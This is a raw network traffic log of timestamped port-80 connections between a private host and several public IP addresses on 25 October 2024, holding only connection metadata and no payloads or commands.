Oct 25, 2024 11:17:43.307753086 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307764053 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307816029 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.308517933 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.308551073 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.308571100 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.308587074 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.308635950 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.308655024 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.308711052 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.309290886 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.309344053 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.309568882 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.309645891 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.330718994 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.330771923 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.330801964 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.330856085 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.330889940 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.330908060 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.330908060 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.330987930 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.330988884 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331002951 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331037045 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331070900 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331104994 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331115961 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331115961 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331115961 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331254005 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331305981 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331329107 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331329107 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331357002 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331358910 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331446886 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331523895 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331556082 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331589937 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331660986 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331696987 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331752062 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331784964 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331809044 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331839085 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331895113 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331928015 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.331950903 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331964016 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.331983089 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332015991 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332048893 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332058907 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332082987 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332087994 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332122087 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332149982 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332164049 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332164049 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332267046 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332571983 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332621098 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332655907 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332689047 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332693100 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332693100 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332725048 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332725048 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332760096 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332793951 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.332945108 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.332968950 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333348989 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333381891 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333417892 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333522081 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333554983 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333564043 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333564043 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333605051 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333611965 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333611965 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333638906 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333672047 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333683014 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333704948 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333715916 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333715916 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333739042 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333771944 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333780050 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333780050 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333805084 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333847046 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.333888054 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.333888054 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.334430933 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.334465027 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.334497929 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.334603071 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.334636927 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.334645033 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.334645987 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.334645987 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.334793091 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.336385965 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.336565971 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.345079899 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.345113993 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.345149994 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.345257998 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.345258951 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.345258951 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746470928 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:43.746541977 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746541977 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:43.746582031 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746617079 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746651888 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746690035 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746722937 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746721029 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746721029 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746721029 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746757984 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746793032 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746797085 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746797085 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746828079 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746845961 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746867895 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746870995 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746902943 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746937037 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746957064 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.746973038 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.746987104 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747011900 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747045994 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747066975 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747080088 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747134924 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747172117 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747222900 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747234106 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747257948 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747288942 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747348070 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747348070 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747360945 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747396946 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747426033 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747430086 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747447014 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747463942 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747469902 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747498989 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747507095 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747535944 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747550011 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747570992 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747592926 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747606039 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747617006 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747638941 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747657061 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747673988 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747689009 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747709036 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747713089 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747742891 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747757912 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747806072 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747842073 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747857094 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747876883 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747901917 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747911930 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.747920990 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747966051 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.747973919 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748030901 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748061895 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.748061895 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.748215914 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748250008 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748284101 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748301983 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748316050 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.748347998 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.748368979 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.748425007 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.748437881 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.748459101 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.748475075 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.748488903 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.748486996 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:43.748513937 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:43.748523951 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:43.748605967 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748616934 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748627901 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748640060 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748651981 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748662949 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748675108 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748684883 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748697996 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748708963 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748709917 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748722076 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748730898 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748743057 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748756886 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748758078 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748766899 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748780966 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748792887 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748801947 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748801947 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748805046 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748816967 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748830080 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748830080 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748842001 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748853922 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748853922 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748863935 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748874903 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748877048 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748877048 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748891115 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748903990 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748915911 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748924971 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748924971 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748928070 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748940945 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748950958 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748961926 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748971939 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748976946 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748976946 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.748984098 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.748996019 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749008894 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749013901 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749025106 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749037027 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749037981 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749048948 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749059916 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749070883 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749072075 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749072075 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749083042 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749094963 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749099970 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749108076 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749119997 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749131918 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749134064 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749144077 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749155998 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749156952 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749166965 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749175072 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749175072 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749177933 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749190092 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749201059 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749211073 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749216080 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749224901 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749236107 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749241114 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749248028 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749259949 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749270916 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749270916 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749270916 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749284029 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749294996 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749306917 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749316931 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749382973 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749382973 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749382973 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749382973 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749414921 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.749425888 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.749435902 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.749448061 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.749458075 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.749470949 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.749484062 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.749500036 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.749517918 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:43.749547005 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749589920 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.749670982 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:43.749682903 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.749706984 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:43.749738932 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.749800920 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:43.749840021 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:43.749840021 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.749866009 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.750437021 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:43.751843929 CEST	52668	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:43.752597094 CEST	52669	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:17:43.755439043 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.755486965 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.755532026 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.755544901 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.755558014 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.755570889 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.755588055 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.760858059 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.760880947 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.760902882 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.760914087 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.760926962 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.760929108 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.760951042 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.760962009 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.766103983 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.766138077 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.766155958 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.766176939 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.766180992 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.766197920 CEST	80	52653	23.227.38.74	192.168.2.5
